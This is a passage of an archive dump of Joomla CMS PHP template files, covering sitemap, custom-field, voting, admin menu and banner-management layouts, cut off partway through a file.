        && (!$node->duplicate || !$this->osmapParams->get('ignore_duplicated_uids', 1))
        && isset($node->newsItem)
        && !empty($node->newsItem)
        && $node->visibleForRobots
        && $node->parentIsVisibleForRobots
        && $node->visibleForXML
        && $node->isInternal
        && trim($node->fullLink) != ''
        && $node->hasCompatibleLanguage();

    /** @var DateTime $publicationDate */
    $publicationDate = $this->isNewsPublication($node);
    if ($display && $publicationDate) {
        echo '<url>';
        echo sprintf('<loc><![CDATA[%s]]></loc>', $node->fullLink);
        echo '<news:news>';

        echo '<news:publication>';
        echo ($publicationName = $this->params->get('news_publication_name', ''))
            ? '<news:name><![CDATA[' . $publicationName . ']]></news:name>'
            : '<news:name/>';

        if (empty($node->language) || $node->language == '*') {
            $node->language = $this->language;
        }
        echo '<news:language>' . $node->language . '</news:language>';
        echo '</news:publication>';

        echo '<news:publication_date>' . $publicationDate->format('Y-m-d\TH:i:s\Z') . '</news:publication_date>';
        echo '<news:title><![CDATA[' . $node->name . ']]></news:title>';

        if (!empty($node->keywords)) {
            echo '<news:keywords><![CDATA[' . $node->keywords . ']]></news:keywords>';
        }

        echo '</news:news>';
        echo '</url>';
    }

    return $display;
};

echo $this->addStylesheet();

$attribs = [
    'xmlns'      => 'http://www.sitemaps.org/schemas/sitemap/0.9',
    'xmlns:news' => 'http://www.google.com/schemas/sitemap-news/0.9'
];

echo sprintf($debug . '<urlset %s>' . $debug, ArrayHelper::toString($attribs));

$this->sitemap->traverse($printNodeCallback);

echo '</urlset>';
radio.php000064400000001174151736400370006364 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Radio
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

$value = $field->value;

if ($value == '') {
    return;
}

$value   = (array) $value;
$texts   = [];
$options = $this->getOptionsFromField($field);

foreach ($options as $optionValue => $optionText) {
    if (in_array((string) $optionValue, $value)) {
        $texts[] = Text::_($optionText);
    }
}

echo htmlentities(implode(', ', $texts));
location.php000060400000000106151736655340007075 0ustar00<?php

defined('_JEXEC') or die();

echo htmlentities($field->value);
rating.php000064400000006027151737144710006560 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->getApplication()->getDocument()->getWebAssetManager();
$wa->registerAndUseStyle('plg_content_vote', 'plg_content_vote/rating.css');

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

if ($context === 'com_content.categories') {
    return;
}

// Get the icons
$iconStar     = HTMLHelper::_('image', 'plg_content_vote/vote-star.svg', '', '', true, true);
$iconHalfstar = HTMLHelper::_('image', 'plg_content_vote/vote-star-half.svg', '', '', true, true);

// If you can't find the icons then skip it
if ($iconStar === null || $iconHalfstar === null) {
    return;
}

// Get paths to icons
$pathStar     = JPATH_ROOT . substr($iconStar, strlen(Uri::root(true)));
$pathHalfstar = JPATH_ROOT . substr($iconHalfstar, strlen(Uri::root(true)));

// Write inline '<svg>' elements
$star     = file_exists($pathStar) ? file_get_contents($pathStar) : '';
$halfstar = file_exists($pathHalfstar) ? file_get_contents($pathHalfstar) : '';

// Get rating
$rating = (float) $row->rating;
$rcount = (int) $row->rating_count;

// Round to 0.5
$rating = round($rating / 0.5) * 0.5;

// Determine number of stars
$stars = $rating;
$img   = '';

for ($i = 0; $i < floor($stars); $i++) {
    $img .= '<li class="vote-star">' . $star . '</li>';
}

if (($stars - floor($stars)) >= 0.5) {
    $img .= '<li class="vote-star-empty">' . $star . '</li>';
    $img .= '<li class="vote-star-half">' . $halfstar . '</li>';

    ++$stars;
}

for ($i = $stars; $i < 5; $i++) {
    $img .= '<li class="vote-star-empty">' . $star . '</li>';
}

?>
<div class="content_rating" role="img" aria-label="<?php echo Text::sprintf('PLG_VOTE_STAR_RATING', $rating); ?>">
    <?php if ($rcount) : ?>
        <div class="visually-hidden">
            <p itemprop="aggregateRating" itemscope itemtype="https://schema.org/AggregateRating">
                <?php echo Text::sprintf('PLG_VOTE_USER_RATING', '<span itemprop="ratingValue">' . $rating . '</span>', '<span itemprop="bestRating">5</span>'); ?>
                <meta itemprop="ratingCount" content="<?php echo $rcount; ?>">
                <meta itemprop="worstRating" content="1">
            </p>
        </div>
        <?php if ($this->params->get('show_total_votes', 0)) : ?>
            <?php echo Text::sprintf('PLG_VOTE_TOTAL_VOTES', $rcount); ?>
        <?php endif; ?>
    <?php endif; ?>
    <ul>
        <?php echo $img; ?>
    </ul>
</div>
vote.php000064400000003517151737144710006252 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Content.vote
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * Layout variables
 * -----------------
 * @var   string   $context  The context of the content being passed to the plugin
 * @var   object   &$row     The article object
 * @var   object   &$params  The article params
 * @var   integer  $page     The 'page' number
 * @var   array    $parts    The context segments
 * @var   string   $path     Path to this file
 */

$uri = clone Uri::getInstance();

// Create option list for voting select box
$options = [];

for ($i = 1; $i < 6; $i++) {
    $options[] = HTMLHelper::_('select.option', $i, Text::sprintf('PLG_VOTE_VOTE', $i));
}

?>
<form method="post" action="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>" class="form-inline mb-2">
    <span class="content_vote">
        <label class="visually-hidden" for="content_vote_<?php echo (int) $row->id; ?>"><?php echo Text::_('PLG_VOTE_LABEL'); ?></label>
        <?php echo HTMLHelper::_('select.genericlist', $options, 'user_rating', 'class="form-select form-select-sm w-auto"', 'value', 'text', '5', 'content_vote_' . (int) $row->id); ?>
        <input class="btn btn-sm btn-primary align-baseline" type="submit" name="submit_vote" value="<?php echo Text::_('PLG_VOTE_RATE'); ?>">
        <input type="hidden" name="task" value="article.vote">
        <input type="hidden" name="hitcount" value="0">
        <input type="hidden" name="url" value="<?php echo htmlspecialchars($uri->toString(), ENT_COMPAT, 'UTF-8'); ?>">
        <?php echo HTMLHelper::_('form.token'); ?>
    </span>
</form>
url.php000064400000001414151737347400006072 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.URL
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

$value = $field->value;

if ($value == '') {
    return;
}

$attributes = '';

if (!Uri::isInternal($value)) {
    $attributes = ' rel="nofollow noopener noreferrer" target="_blank"';
    $text       = Text::_('JVISIT_WEBSITE');
} else {
    $text       = Text::_('JVISIT_LINK');
}

if ($fieldParams->get('show_url', 0)) {
    $text = htmlspecialchars($value);
}

echo sprintf(
    '<a href="%s"%s>%s</a>',
    htmlspecialchars($value),
    $attributes,
    $text
);
subform.php000064400000003043151740270060006734 0ustar00<?php

/**
 * @package     Joomla.Plugin
 * @subpackage  Fields.Subform
 *
 * @copyright   (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;

defined('_JEXEC') or die;

if (!$context || empty($field->subform_rows)) {
    return;
}

$result = '';

// Iterate over each row that we have
foreach ($field->subform_rows as $subform_row) {
    // Placeholder array to generate this rows output
    $row_output = [];

    // Iterate over each sub field inside of that row
    foreach ($subform_row as $subfield) {
        $class   = trim($subfield->params->get('render_class', ''));
        $layout  = trim($subfield->params->get('layout', 'render'));
        $content = trim(
            FieldsHelper::render(
                $context,
                'field.' . $layout, // normally just 'field.render'
                ['field' => $subfield]
            )
        );

        // Skip empty output
        if ($content === '') {
            continue;
        }

        // Generate the output for this sub field and row
        $row_output[] = '<span class="field-entry' . ($class ? (' ' . $class) : '') . '">' . $content . '</span>';
    }

    // Skip empty rows
    if (count($row_output) == 0) {
        continue;
    }

    $result .= '<li>' . implode(', ', $row_output) . '</li>';
}
?>

<?php if (trim($result) != '') : ?>
    <ul class="fields-container">
        <?php echo $result; ?>
    </ul>
<?php endif; ?>
default_submenu.php000064400000014634151740410420010445 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  mod_menu
 *
 * @copyright   (C) 2017 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;

/**
 * =========================================================================================================
 * IMPORTANT: The scope of this layout file is the `var  \Joomla\Module\Menu\Administrator\Menu\CssMenu` object
 * and NOT the module context.
 * =========================================================================================================
 */
/** @var  \Joomla\Module\Menu\Administrator\Menu\CssMenu  $this */
$class         = 'item';
$currentParams = $current->getParams();

// Build the CSS class suffix
if (!$this->enabled) {
    $class .= ' disabled';
} elseif ($current->type == 'separator') {
    $class = $current->title ? 'menuitem-group' : 'divider';
} elseif ($current->hasChildren()) {
    $class .= ' parent';
}

if ($current->level == 1) {
    $class .= ' item-level-1';
} elseif ($current->level == 2) {
    $class .= ' item-level-2';
} elseif ($current->level == 3) {
    $class .= ' item-level-3';
}

// Set the correct aria role and print the item
if ($current->type == 'separator') {
    echo '<li class="' . $class . '" role="presentation">';
} else {
    echo '<li class="' . $class . '">';
}

// Print a link if it exists
$linkClass  = [];
$dataToggle = '';
$iconClass  = '';
$itemIconClass = '';
$itemImage  = '';

if ($current->hasChildren()) {
    $linkClass[] = 'has-arrow';

    if ($current->level > 2) {
        $dataToggle  = ' data-bs-toggle="dropdown"';
    }
} else {
    $linkClass[] = 'no-dropdown';
}

// Implode out $linkClass for rendering
$linkClass = ' class="' . implode(' ', $linkClass) . '" ';

// Get the menu link
$link = $current->link;

// Get the menu image class
$itemIconClass = $currentParams->get('menu_icon');

// Get the menu image
$itemImage = $currentParams->get('menu_image');

// Get the menu icon
$icon      = $this->getIconClass($current);
$iconClass = ($icon != '' && $current->level == 1) ? '<span class="' . $icon . '" aria-hidden="true"></span>' : '';
$ajax      = !empty($current->ajaxbadge) ? '<span class="menu-badge"><span class="icon-spin icon-spinner mt-1 system-counter" data-url="' . $current->ajaxbadge . '"></span></span>' : '';
$iconImage = $current->icon;
$homeImage = '';

if ($iconClass === '' && $itemIconClass) {
    $iconClass = '<span class="' . $itemIconClass . '" aria-hidden="true"></span>';
}

if ($iconImage) {
    if (substr($iconImage, 0, 6) == 'class:' && substr($iconImage, 6) == 'icon-home') {
        $iconImage = '<span class="home-image icon-home" aria-hidden="true"></span>';
        $iconImage .= '<span class="visually-hidden">' . Text::_('JDEFAULT') . '</span>';
    } elseif (substr($iconImage, 0, 6) == 'image:') {
        $iconImage = '&nbsp;<span class="badge">' . substr($iconImage, 6) . '</span>';
    } else {
        $iconImage = '';
    }
}

$itemImage = (empty($itemIconClass) && $itemImage) ? '&nbsp;<img src="' . Uri::root() . $itemImage . '" alt="">&nbsp;' : '';

// If the item image is not set, the item title would not have margin. Here we add it.
if ($icon == '' && $iconClass == '' && $current->level == 1 && $current->target == '') {
    $iconClass = '<span aria-hidden="true" class="icon-fw"></span>';
}

if ($link != '' && $current->target != '') {
    echo '<a' . $linkClass . $dataToggle . ' href="' . $link . '" target="' . $current->target . '">'
        . $iconClass
        . '<span class="sidebar-item-title">' . $itemImage . Text::_($current->title) . '</span>' . $ajax . '</a>';
} elseif ($link != '' && $current->type !== 'separator') {
    echo '<a' . $linkClass . $dataToggle . ' href="' . $link . '" aria-label="' . Text::_($current->title) . '">'
        . $iconClass
        . '<span class="sidebar-item-title">' . $itemImage . Text::_($current->title) . '</span>' . $iconImage . '</a>';
} elseif ($current->title != '' && $current->type !== 'separator') {
    echo '<a' . $linkClass . $dataToggle . ' href="#">'
        . $iconClass
        . '<span class="sidebar-item-title">' . $itemImage . Text::_($current->title) . '</span>' . $ajax . '</a>';
} elseif ($current->title != '' && $current->type === 'separator') {
    echo '<span class="sidebar-item-title">' . Text::_($current->title) . '</span>' . $ajax;
} else {
    echo '<span>' . Text::_($current->title) . '</span>' . $ajax;
}

if ($currentParams->get('menu-quicktask') && (int) $this->params->get('shownew', 1) === 1) {
    $params = $current->getParams();
    $user = $this->application->getIdentity();
    $link = $params->get('menu-quicktask');
    $icon = $params->get('menu-quicktask-icon', 'plus');
    $title = $params->get('menu-quicktask-title', 'MOD_MENU_QUICKTASK_NEW');
    $permission = $params->get('menu-quicktask-permission');
    $scope = $current->scope !== 'default' ? $current->scope : null;

    if (!$permission || $user->authorise($permission, $scope)) {
        echo '<span class="menu-quicktask"><a href="' . $link . '">';
        echo '<span class="icon-' . $icon . '" title="' . htmlentities(Text::_($title)) . '" aria-hidden="true"></span>';
        echo '<span class="visually-hidden">' . Text::_($title) . '</span>';
        echo '</a></span>';
    }
}

if (!empty($current->dashboard)) {
    $titleDashboard = Text::sprintf('MOD_MENU_DASHBOARD_LINK', Text::_($current->title));
    echo '<span class="menu-dashboard"><a href="'
        . Route::_('index.php?option=com_cpanel&view=cpanel&dashboard=' . $current->dashboard) . '">'
        . '<span class="icon-th-large" title="' . $titleDashboard . '" aria-hidden="true"></span>'
        . '<span class="visually-hidden">' . $titleDashboard . '</span>'
        . '</a></span>';
}

// Recurse through children if they exist
if ($this->enabled && $current->hasChildren()) {
    if ($current->level > 1) {
        $id = $current->id ? ' id="menu-' . strtolower($current->id) . '"' : '';

        echo '<ul' . $id . ' class="mm-collapse collapse-level-' . $current->level . '">' . "\n";
    } else {
        echo '<ul id="collapse' . $this->getCounter() . '" class="collapse-level-1 mm-collapse">' . "\n";
    }

    // WARNING: Do not use direct 'include' or 'require' as it is important to isolate the scope for each call
    $this->renderSubmenu(__FILE__, $current);

    echo "</ul>\n";
}

echo "</li>\n";
tracks/emptystate.php000064400000001072151740416760010756 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Layout\LayoutHelper;

$displayData = [
    'textPrefix' => 'COM_BANNERS_TRACKS',
    'helpURL'    => 'https://docs.joomla.org/Special:MyLanguage/Help40:Banners:_Tracks',
    'icon'       => 'icon-bookmark banners',
];

echo LayoutHelper::render('joomla.content.emptystate', $displayData);
tracks/default.php000064400000012267151740416760010213 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns');

/** @var \Joomla\Component\Banners\Administrator\View\Tracks\HtmlView $this */

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo Route::_('index.php?option=com_banners&view=tracks'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]); ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_BANNERS_TRACKS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <th scope="col" class="title">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_NAME', 'b.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-20">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_CLIENT', 'cl.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_TYPE', 'a.track_type', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_COUNT', 'a.count', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JDATE', 'a.track_date', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($this->items as $i => $item) : ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <th scope="row">
                                        <?php echo $item->banner_name; ?>
                                        <div class="small">
                                            <?php echo Text::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
                                        </div>
                                    </th>
                                    <td>
                                        <?php echo $item->client_name; ?>
                                    </td>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $item->track_type == 1 ? Text::_('COM_BANNERS_IMPRESSION') : Text::_('COM_BANNERS_CLICK'); ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo $item->count; ?>
                                    </td>
                                    <td class="d-none d-md-table-cell">
                                        <?php echo HTMLHelper::_('date', $item->track_date, Text::_('DATE_FORMAT_LC5')); ?>
                                    </td>
                                </tr>
                            <?php endforeach; ?>
                        </tbody>
                    </table>

                    <?php // Load the pagination. ?>
                    <?php echo $this->pagination->getListFooter(); ?>

                <?php endif; ?>
                <input type="hidden" name="task" value="">
                <input type="hidden" name="boxchecked" value="0">
                <?php echo HTMLHelper::_('form.token'); ?>
            </div>
        </div>
    </div>
</form>
banner/edit.php000064400000007262151740416760007471 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Banners\Administrator\View\Banner\HtmlView $this */

/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('keepalive')
    ->useScript('form.validate')
    ->useScript('com_banners.admin-banner-edit');

?>

<form action="<?php echo Route::_('index.php?option=com_banners&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="banner-form" aria-label="<?php echo Text::_('COM_BANNERS_BANNER_' . ((int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>" class="form-validate">

    <?php echo LayoutHelper::render('joomla.edit.title_alias', $this); ?>

    <div class="main-card">
        <?php echo HTMLHelper::_('uitab.startTabSet', 'myTab', ['active' => 'details', 'recall' => true, 'breakpoint' => 768]); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'details', Text::_('COM_BANNERS_BANNER_DETAILS')); ?>
        <div class="row">
            <div class="col-lg-9">
                <?php echo $this->form->renderField('type'); ?>
                <div id="image">
                    <?php echo $this->form->renderFieldset('image'); ?>
                </div>
                <div id="custom">
                    <?php echo $this->form->renderField('custombannercode'); ?>
                </div>
                <?php
                echo $this->form->renderField('clickurl');
                echo $this->form->renderField('description');
                ?>
            </div>
            <div class="col-lg-3">
                <?php echo LayoutHelper::render('joomla.edit.global', $this); ?>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'otherparams', Text::_('COM_BANNERS_GROUP_LABEL_BANNER_DETAILS')); ?>
            <fieldset id="fieldset-otherparams" class="options-form">
                <legend><?php echo Text::_('COM_BANNERS_GROUP_LABEL_BANNER_DETAILS'); ?></legend>
                <div>
                    <?php echo $this->form->renderFieldset('otherparams'); ?>
                </div>
            </fieldset>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.addTab', 'myTab', 'publishing', Text::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
        <div class="row">
            <div class="col-md-6">
                <fieldset id="fieldset-publishingdata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_PUBLISHING'); ?></legend>
                    <div>
                        <?php echo LayoutHelper::render('joomla.edit.publishingdata', $this); ?>
                    </div>
                </fieldset>
            </div>
            <div class="col-md-6">
                <fieldset id="fieldset-metadata" class="options-form">
                    <legend><?php echo Text::_('JGLOBAL_FIELDSET_METADATA_OPTIONS'); ?></legend>
                    <div>
                    <?php echo $this->form->renderFieldset('metadata'); ?>
                    </div>
                </fieldset>
            </div>
        </div>
        <?php echo HTMLHelper::_('uitab.endTab'); ?>

        <?php echo HTMLHelper::_('uitab.endTabSet'); ?>
    </div>

    <input type="hidden" name="task" value="">
    <?php echo HTMLHelper::_('form.token'); ?>
</form>
clients/default.php000064400000031211151740416760010353 0ustar00<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\CMS\Object\CMSObject;
use Joomla\CMS\Router\Route;

/** @var \Joomla\Component\Banners\Administrator\View\Clients\HtmlView $this */

/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = $this->document->getWebAssetManager();
$wa->useScript('table.columns')
    ->useScript('multiselect');

$purchaseTypes = [
    '1' => 'UNLIMITED',
    '2' => 'YEARLY',
    '3' => 'MONTHLY',
    '4' => 'WEEKLY',
    '5' => 'DAILY',
];

$user       = Factory::getUser();
$userId     = $user->get('id');
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$params     = $this->state->params ?? new CMSObject();
?>
<form action="<?php echo Route::_('index.php?option=com_banners&view=clients'); ?>" method="post" name="adminForm" id="adminForm">
    <div class="row">
        <div class="col-md-12">
            <div id="j-main-container" class="j-main-container">
                <?php
                // Search tools bar
                echo LayoutHelper::render('joomla.searchtools.default', ['view' => $this]);
                ?>
                <?php if (empty($this->items)) : ?>
                    <div class="alert alert-info">
                        <span class="icon-info-circle" aria-hidden="true"></span><span class="visually-hidden"><?php echo Text::_('INFO'); ?></span>
                        <?php echo Text::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
                    </div>
                <?php else : ?>
                    <table class="table">
                        <caption class="visually-hidden">
                            <?php echo Text::_('COM_BANNERS_CLIENTS_TABLE_CAPTION'); ?>,
                            <span id="orderedBy"><?php echo Text::_('JGLOBAL_SORTED_BY'); ?> </span>,
                            <span id="filteredBy"><?php echo Text::_('JGLOBAL_FILTERED_BY'); ?></span>
                        </caption>
                        <thead>
                            <tr>
                                <td class="w-1 text-center">
                                    <?php echo HTMLHelper::_('grid.checkall'); ?>
                                </td>
                                <th scope="col" class="w-1 text-center">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_CLIENT', 'a.name', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-15 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_CONTACT', 'a.contact', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                    <span class="icon-check" aria-hidden="true" title="<?php echo Text::_('COM_BANNERS_COUNT_PUBLISHED_ITEMS'); ?>"></span>
                                    <span class="visually-hidden"><?php echo Text::_('COM_BANNERS_COUNT_PUBLISHED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                    <span class="icon-times" aria-hidden="true" title="<?php echo Text::_('COM_BANNERS_COUNT_UNPUBLISHED_ITEMS'); ?>"></span>
                                    <span class="visually-hidden"><?php echo Text::_('COM_BANNERS_COUNT_UNPUBLISHED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                    <span class="icon-folder icon-fw" aria-hidden="true" title="<?php echo Text::_('COM_BANNERS_COUNT_ARCHIVED_ITEMS'); ?>"></span>
                                    <span class="visually-hidden"><?php echo Text::_('COM_BANNERS_COUNT_ARCHIVED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-3 text-center d-none d-md-table-cell">
                                    <span class="icon-trash" aria-hidden="true" title="<?php echo Text::_('COM_BANNERS_COUNT_TRASHED_ITEMS'); ?>"></span>
                                    <span class="visually-hidden"><?php echo Text::_('COM_BANNERS_COUNT_TRASHED_ITEMS'); ?></span>
                                </th>
                                <th scope="col" class="w-10 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'COM_BANNERS_HEADING_PURCHASETYPE', 'a.purchase_type', $listDirn, $listOrder); ?>
                                </th>
                                <th scope="col" class="w-3 d-none d-md-table-cell">
                                    <?php echo HTMLHelper::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
                                </th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php foreach ($this->items as $i => $item) :
                                $canCreate  = $user->authorise('core.create', 'com_banners');
                                $canEdit    = $user->authorise('core.edit', 'com_banners');
                                $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || is_null($item->checked_out);
                                $canChange  = $user->authorise('core.edit.state', 'com_banners') && $canCheckin;
                                ?>
                                <tr class="row<?php echo $i % 2; ?>">
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('grid.id', $i, $item->id, false, 'cid', 'cb', $item->name); ?>
                                    </td>
                                    <td class="text-center">
                                        <?php echo HTMLHelper::_('jgrid.published', $item->state, $i, 'clients.', $canChange); ?>
                                    </td>
                                    <th scope="row" class="has-context">
                                        <div>
                                            <?php if ($item->checked_out) : ?>
                                                <?php echo HTMLHelper::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'clients.', $canCheckin); ?>
                                            <?php endif; ?>
                                            <?php if ($canEdit) : ?>
                                                <a href="<?php echo Route::_('index.php?option=com_banners&task=client.edit&id=' . (int) $item->id); ?>" title="<?php echo Text::_('JACTION_EDIT'); ?> <?php echo $this->escape($item->name); ?>">
                                                    <?php echo $this->escape($item->name); ?></a>
                                            <?php else : ?>
                                                <?php echo $this->escape($item->name); ?>
                                            <?php endif; ?>
                                        </div>
                                    </th>
                                    <td class="small d-none d-md-table-cell">
                                        <?php echo $item->contact; ?>
                                    </td>
                                    <td class="text-center btns d-none d-md-table-cell itemnumber">
                                        <a class="btn <?php echo ($item->count_published > 0) ? 'btn-success' : 'btn-secondary'; ?>" href="<?php echo Route::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=1'); ?>"
                                        aria-describedby="tip-publish<?php echo $i; ?>">
                                            <?php echo $item->count_published; ?>
                                        </a>
                                        <div role="tooltip" id="tip-publish<?php echo $i; ?>">
                                            <?php echo Text::_('COM_BANNERS_COUNT_PUBLISHED_ITEMS'); ?>
                                        </div>
                                    </td>
                                    <td class="text-center btns d-none d-md-table-cell itemnumber">
                                        <a class="btn <?php echo ($item->count_unpublished > 0) ? 'btn-danger' : 'btn-secondary'; ?>" href="<?php echo Route::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=0'); ?>"
                                        aria-describedby="tip-unpublish<?php echo $i; ?>">
                                            <?php echo $item->count_unpublished; ?>
                                        </a>
                                        <div role="tooltip" id="tip-unpublish<?php echo $i; ?>">
                                            <?php echo Text::_('COM_BANNERS_COUNT_UNPUBLISHED_ITEMS'); ?>
                                        </div>
                                    </td>
                                    <td class="text-center btns d-none d-md-table-cell itemnumber">
                                        <a class="btn <?php echo ($item->count_archived > 0) ? 'btn-info' : 'btn-secondary'; ?>" href="<?php echo Route::_('index.php?option=com_banners&view=banners&filter[client_id]=' . (int) $item->id . '&filter[published]=2'); ?>"
                                        aria-describedby="tip-archived<?php echo $i; ?>">
                                            <?php echo $item->count_archived; ?>
                                        </a>
                                        <div role="tooltip" id="tip-archived<?php echo $i; ?>">
